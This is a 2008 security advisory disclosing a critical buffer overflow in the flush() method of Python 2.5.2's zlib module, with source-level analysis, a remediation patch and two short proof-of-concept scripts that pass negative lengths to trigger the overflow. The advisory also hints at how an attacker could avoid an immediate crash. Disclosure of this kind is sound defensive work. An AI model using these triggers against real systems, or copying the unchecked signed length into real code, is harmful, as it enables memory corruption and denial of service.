

## IOActive Security Advisory

<b>Title</b>	Buffer overflow in Python zlib extension module
<b>Severity</b>	Critical
<b>Date Discovered</b>	April 2008
<b>Date Reported</b>	April 8, 2008
<b>Date Disclosed</b>	April 9, 2008
<b>Author</b>	Justin Ferguson

### Affected Products

Python 2.5.2, earlier and unstable version are likely to be vulnerable

### Description

The zlib extension module contains a method for flushing decompression streams that takes an input parameter of how much data to flush. This parameter is a signed integer that is not verified for sanity and is, thus, potentially negative. When passed a negative value, memory is misallocated and then the signed integer is converted to an unsigned integer, resulting in buffer overflow.

### Technical Details

```
Python-2.5.2/Modules/zlibmodule.c:  
  
761 PyDoc_STRVAR(decomp_flush__doc__,  
762 "flush( [length] ) -- Return a string containing any  
remaining\n"  
763 "decompressed data. length, if given, is the initial size of  
the\n"  
764 "output buffer.\n"  
765 "\n"  
766 "The decompressor object can no longer be used after this  
call.");  
767  
768 static PyObject *  
769 PyZlib_unflush(PyObject *self, PyObject *args) 770 {  
771     int err, length = DEFAULTTALLOCC;  
772     PyObject * retval = NULL;  
773     unsigned long start_total_out;  
774  
775     if (!PyArg_ParseTuple(args, "|i:flush", &length))  
776         return NULL;  
777     if (!(retval = PyString_FromStringAndSize(NULL, length)))  
778         return NULL;
```

```
779
780
781     ENTER_ZLIB
782
783     start_total_out = self->zst.total_out;
784     self->zst.avail_out = length;
785     self->zst.next_out = (Byte *)PyString_AS_STRING(retval);
786
787     Py_BEGIN_ALLOW_THREADS
788     err = inflate(&(self->zst), Z_FINISH);
789     Py_END_ALLOW_THREADS
```

The `PyArg_ParseTuple()` function acts as a bridge between Python and C and initializes the length variable if one was provided. Then, at line 777 this variable is passed as the second parameter to `PyString_FromStringAndSize()`.

The second parameter to `PyString_FromStringAndSize()` is also signed and the API call itself does not validate the parameter in non-debug builds.

This value then has the size of a `PyStringObject` summed with it and is passed to the Python allocator, which services the request. Upon successful allocation, the assignment at line 784 causes a sign conversion as the `avail_out` member of the `zst` structure is an unsigned variable. Then, at line 785 the pointer to the memory that was allocated at line 777 is assigned to the `next_out` member of the `zst` structure. This culminates in buffer overflow at line 788 when the `zlib inflate()` function decompresses data.

### Proof-of-Concept

When the length variable contains a value of -24 then the allocator is told to reserve 0 bytes of memory, however the allocator modifies the request and will allocate one byte of memory. For values ranging between -2 and -23 a small amount of memory will be allocated due to being summed with the size of a `PyStringObject`. Both will mislead `zlib` into believing that there is several gigabytes of space available. If an attacker controls the input stream then they can avoid the obvious Denial of Service simply by making the available input large than the output buffer, but smaller than the size required to hit an unmapped or read-only page of memory.

A semi-interesting note is that the value -1 will not work as when extracting this integer an API call mixes the return value and error code, with -1 indicating that an error occurred. This check is done in conjunction with another check and thus does not cause the routine to fail, but rather causes `PyArg_ParseTuple()` to initialize the length variable with a value of 1.

```
python-2.5.2-zlib-unflush-misallocation.py
-----
#!/usr/bin/python

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living
creature
    but man:
so that man is distinguished, not only by his reason, but also by
this
    singular passion
from other animals; in whom the appetite of food, and other
pleasures of
    sense, by
predominance, take away the care of knowing causes; which is a
lust of
    the mind,
that by a perseverance of delight in the continual and
indefatigable generation of knowledge, exceedeth the short
vehemence of any carnal
    pleasure.
"""

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg)
decompObj.flush(bad)
```

```
python-2.5.2-zlib-unflush-signedness.py:
-----
#!/usr/bin/python

import zlib

msg = """
Society in every state is a blessing, but government even in its
best
    state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are
    exposed to the same miseries by a government, which we
might expect in a country without government, our
    calamities is heightened by
reflecting that we furnish the means by which we suffer!
Government,
    like dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of
the
    bowers of paradise. For were
the impulses of conscience clear, uniform, and irresistibly
obeyed, man
    would need no other
lawgiver; but that not being the case, he finds it necessary to
    surrender up a part of his property to furnish means for
the protection of the rest; and this he is induced
    to do by the same prudence which in every other case
advises him out of two evils to choose the least.
    Wherefore, security being the true design and end of
government, it unanswerably follows that whatever form
    thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is
    preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)
decompObj.flush(bad)
```

## Remediation

This bug was patched in CVS and appends the following lines between 776 and 777:

```
    if (length <= 0) {
        PyErr_SetString(PyExc_ValueError, "length must be greater
than zero");
        return NULL;
    }
```

Further details can be found at <http://bugs.python.org/issue2586> and <http://svn.python.org/view?rev=62235&view=rev>

